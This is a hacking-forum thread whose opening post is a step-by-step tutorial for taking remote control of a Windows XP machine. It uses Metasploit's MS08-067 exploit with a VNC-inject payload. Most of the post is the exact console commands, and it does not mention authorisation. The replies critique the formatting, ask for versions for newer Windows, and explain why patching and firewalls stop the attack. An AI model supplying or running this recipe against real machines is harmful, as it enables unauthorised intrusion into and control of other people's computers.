

Forum:[Hack Forums](#)

Thread: [Hacking Windows : Totally own it - Hollywood Style](#)

jekankerslet - November 19, 2016, 1:24 pm

Now while the real life hacking and the one in the movies might seem far from congruent, there is some similarity at least, and in this post, we'll get no shells, no meterpreter, no bullshit. We'll simply get the Windows XP desktop inside our Kali machine like we actually are on it.

Starting metasploit

You must be having Kali Linux installed, follow the link if you haven't already got Kali Linux.

After that, execute the following commands on terminal to get Metasploit running

```
service postgresql start
```

```
service metasploit start
```

```
msfconsole
```

After this, you metasploit framework will start.

Information Gathering

Find IP of XP machine by running ipconfig on XP command prompt.

Find IP of Kali machine by running ifconfig on Kali terminal.

Hacking XP

Now execute the following code (without the msf> it is there by already) -

```
Code msf > use exploit/windows/smb/ms08_067_netapi
```

It selects the netapi ms08 exploit which is well known for Windows XP.

Now execute the following (everything before > will already be there)

```
Code msf exploit(ms08_067_netapi) > set PAYLOAD windows/vncinject/bind_tcp
```

Now execute a show options to get an idea what all values need to be filled.

```
Code msf exploit(ms08_067_netapi) > show options
```

You will need the information gathered from Information Gathering step.

Remember - XP -> Remote host (RHOST). This is all we need. Just enter the XP IP instead of 192.168.xxx.xxx

```
Code msf exploit(ms08_067_netapi) > set RHOST 192.168.xxx.xxx
```

That would be all. Now type exploit and press enter.

```
Code msf exploit(ms08_067_netapi) > exploit
```

If everything goes right, then you'll have a pretty much movie kind of remote connection working for you, and you'll be able to work stuff like you'd normally do if you had access to the machine.

Faith Connors - November 19, 2016, 1:31 pm

Might wanna work on formatting and explaining how/why stuff works.

Try using dividers and code tags, along with bold text for important things like headers.

Code [code]

[hr]

[b]/[b]

[u]/[u]

semendaemon - November 19, 2016, 1:31 pm

stop shitting out bad tutorials

jekankerslet - November 19, 2016, 1:33 pm

(Nov 19, 2016 02:31 PM)Faith Connors Wrote: [\[CITE\]](#) Might wanna work on formatting and explaining how/why stuff works.

Try using dividers and code tags, along with bold text for important things like headers.

Code [code]

[hr]

[b]/[b]

[u]/[u]

Ok i will keep in my mind thank you !!

(Nov 19, 2016 02:31 PM)semendaemon Wrote: [\[CITE\]](#) stop shitting out bad tutorials
Lol i've been working on a lot of Tutorials And programmes the last months! Solo so dont talk shit ?

semendaemon - November 19, 2016, 1:34 pm

(Nov 19, 2016 02:33 PM)jekankerslet Wrote: [\[CITE\]](#) Ok i will keep in my mind thank you !!

Lol i've been working on a lot of Tutorials And programmes the last months! Solo so dont talk shit ?
here's a question: does it really matter how much you've been working on something, when it turns out to be utter trash?

Inked ?Feather - November 19, 2016, 1:35 pm

(Nov 19, 2016 02:34 PM)semendaemon Wrote: [\[CITE\]](#) here's a question: does it really matter how much you've been working on something, when it turns out to be utter trash?
you shit on people, yet your signature saying 'peace'
i don't think you preach peace very much...

jekankerslet - November 19, 2016, 1:37 pm

(Nov 19, 2016 02:35 PM)Inked ?Feather Wrote: [\[CITE\]](#) you shit on people, yet your signature saying 'peace'
i don't think you preach peace very much...
xD <3

Faith Connors - November 19, 2016, 1:40 pm

(Nov 19, 2016 02:35 PM)Inked ?Feather Wrote: [\[CITE\]](#) you shit on people, yet your signature saying 'peace'
i don't think you preach peace very much...
He is a very peaceful lad. Very nice guy.

semendaemon - November 19, 2016, 1:44 pm

(Nov 19, 2016 02:35 PM)Inked ?Feather Wrote: [\[CITE\]](#) you shit on people, yet your signature saying 'peace'

i don't think you preach peace very much...The peace I believe in is between me and quality content. :)

Not Your Average Orange - November 19, 2016, 1:48 pm

Good tutorial, some suggestions:

- The spacing is very messy, make use of the font-size, font color etc. settings.
- Insert a link on how to install kali
- Do some basic troubleshooting

jekankerslet - November 19, 2016, 2:16 pm

(Nov 19, 2016 02:48 PM)hkessel1 Wrote: [\[CITE\]](#) Good tutorial, some suggestions:

- The spacing is very messy, make use of the font-size, font color etc. settings.
- Insert a link on how to install kali
- Do some basic troubleshooting

thank you! Will keep it in mind and change asap

nobrainixidle - November 19, 2016, 3:04 pm

(Nov 19, 2016 03:16 PM)jekankerslet Wrote: [\[CITE\]](#) thank you! Will keep it in mind and change asap
Jekan.. Pm me ur skype.

terrywarrick002 - November 19, 2016, 3:25 pm

nice tutorial thanx

any for window 7 or window server 2008

jekankerslet - November 20, 2016, 12:12 am

(Nov 19, 2016 04:25 PM)terrywarrick002 Wrote: [\[CITE\]](#) nice tutorial thanx

any for window 7 or window server 2008

Will upload that tuts asap !

jekankerslet - November 20, 2016, 12:36 am

(Nov 20, 2016 01:24 AM)Yani Wrote: [\[CITE\]](#) Thanks for sharing. I never knew that there's a VNC module for Metasploit.

You should focus more on that part as that was in my opinion the most interesting piece of information here.

KK will keep in mind ! Thanks for your feedback <3

celty97 - November 20, 2016, 10:55 am

He is a very peaceful in kali linux

jekankerslet - November 20, 2016, 11:47 am

(Nov 20, 2016 11:55 AM)celty97 Wrote: [\[CITE\]](#) He is a very peaceful in kali linux
who ?

JustADueLeaveMeAlone - November 20, 2016, 5:19 pm

I appreciate the Tutorial but can you please explain to me how it all works?

jekankerslet - November 20, 2016, 10:46 pm

(Nov 20, 2016 06:19 PM)JustADueLeaveMeAlone Wrote: [\[CITE\]](#) I appreciate the Tutorial but can you please explain to me how it all works?

I am busy with that <3

jekankerslet - November 22, 2016, 11:43 pm

(Nov 20, 2016 06:19 PM)JustADueLeaveMeAlone Wrote: [\[CITE\]](#) I appreciate the Tutorial but can you please explain to me how it all works?I will release it in 3-4 days

JustADueLeaveMeAlone - November 23, 2016, 9:16 pm

Thanks appreciate it! Very much! Although I might quit hacking.

Indicium - November 28, 2016, 1:49 pm

XP is not ever used anymore, even then not many people feel it being worth to even test out just for the fun of it. I will be posting a tutorial on how to hack newer versions of windows, and how to do a similar hack on OSX

Asdethprime - November 28, 2016, 5:10 pm

(Nov 20, 2016 06:19 PM)JustADueLeaveMeAlone Wrote: [\[CITE\]](#) I appreciate the Tutorial but can you please explain to me how it all works?

It's actually quite simple, older Windows Versions (XP , 2000 and unpatched Server 2003) do not handle request to control the computer remotely if the attempt is properly crafted. Weirdly enough, if crafted well the computer does not even ask for a password and would let you execute commands remotely. The properly crafting part to establish the connection is done by metasploit through the said payload.

While it works wonderfully on older unpached version, it wont work if :

- 1) The version of Windows is patched
- 2) The version of Windows have firewall installed (most computers do)

A good updated firewall would block the connection from outside their local network.

Interesting place to start if you are trying to learn about hacking but not really a trick (at least not without modification) that you could use in real world.